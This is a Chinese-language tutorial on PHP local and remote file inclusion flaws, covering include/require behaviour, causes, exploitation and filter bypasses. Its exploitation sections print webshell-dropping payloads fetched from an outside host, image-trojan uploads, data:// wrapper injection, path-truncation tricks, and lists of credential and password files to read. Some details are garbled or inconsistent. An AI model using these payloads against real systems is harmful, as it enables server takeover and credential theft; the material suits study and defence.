PHP文件包含漏洞
0x00 文件包含与文件包含漏洞
文件包含是指,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。文件包含还有另外一个名称,那就是代码重用。我们若是需要修改页面,只需要修改一个头部代码文件就可以了,其他上万个页面将会全部对应改变。
文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动念包含在版务器的文件,从而导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式
0x01 文件包含函数
文件包含的函数:
vrequire()require_once()include()include_once()
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
0x02 漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,用户可以操作一些敏感文件,文件泄露和恶意代码注入,可以被用户控制,包含其他恶意文件,执行非预期的代码
当包含文件在服务器本地上,就形成本地文件包含,当包含的文件在第三方服务器是,就形成可远程文件包含。
例子:
filename参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改filename的值,执行非预期的操作。
0x03 本地文件包含
本地文件包含LFI也即Local File Inclusion,其特性是可包含任意类型的文件,当被包含的文件书写符合php书写规范,即(<?php……….代码.……?>或<?.…代码…?>)时,不论文件后缀是什么,都可以解析其中的php代码,当书写规范不符合时,则以文本形式输出。
测试:
执行结果:
0x04 远程文件包含
远程文件包含RFI也即Remote File Inclusion,其基本原理与本地文件包含LFI类似,区别只是被包含的文件由原来的本地文件路径变为远程文件路径。其特性是可包含任意类型的文件,并且如果被包含文件中有类似"<?php…(省略号为php代码)?>”或
“<?.…(省略号为php代码)?>”这2种形式的字符串,则在包含时会执行字符串中的PHP代码。
有两个关键函数:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
前提:需要开启allow_url_fopen,默认关闭。
示例:include.php
新建file.txt
<?php echo "hello,hacker";?>
访问http://www.xxxx.com/include.php?file=http://www.xxxx.com/file.txt
执行结果将输出hello world。
0x05 文件包含利用
读取敏感信息
通过目录遍历可以获取到系统中其他文件的内容:
常见敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件
session文件包含漏洞(待续)
利用条件:
session的存储位置可以获取。
- 通过phpinfo的信息可以获取到session的存储位置。
通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:
获取到session的存储位置
- 通过猜测默认的session存放位置进行尝试。
如linux下默认存储在/var/lib/php/session目录下:
默认存储
session中的内容可以被控制,传入恶意代码。
远程包含shell
新建file.txt保存在远程服务器上:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>
如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xx1.com/index.php?file=http://www.xx2.com/file.txt
会在服务器根目录下生产一个shell.php内容为:
<?php eval($_POST[key]);?>
利用php协议进行包含
(参考《PHP伪协议》)
data: php5.2以后版本
php://input 需要开启allow_url_include
例子:
http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>
本地包含配合文件上传
如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含 文件上传
上传一个图片木马file.jpg,内容为:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>
访问URL:http://www.xxx.com/index.php?file=./file.jpg
生成shell.php。
0x06 绕过方法
问号绕过
源码:
<?php include($_GET['filename'] . ".html"); ?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
绕过方式:在最后加?
payload:
http://www.xxx.com/index.php?filename=http://xxx2/file.txt?
井号绕过
http://www.xxx.com/index.php?filename=http://xxx2/file.txt#
截断包含
源码:
<?php Include $_GET['page'].".php"?>
截断包含
新建file.jpg,写入内容:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[key]);?>")?>
这样的话比如上传一个file.jpg图片马,则访问http://www.xxx.com/file.jpg
时,访问的是file.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/file.jpg
使用长目录截断
常用绕过方式:
././././././././././././././etc/passwdetc/passwd../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。所以成功绕过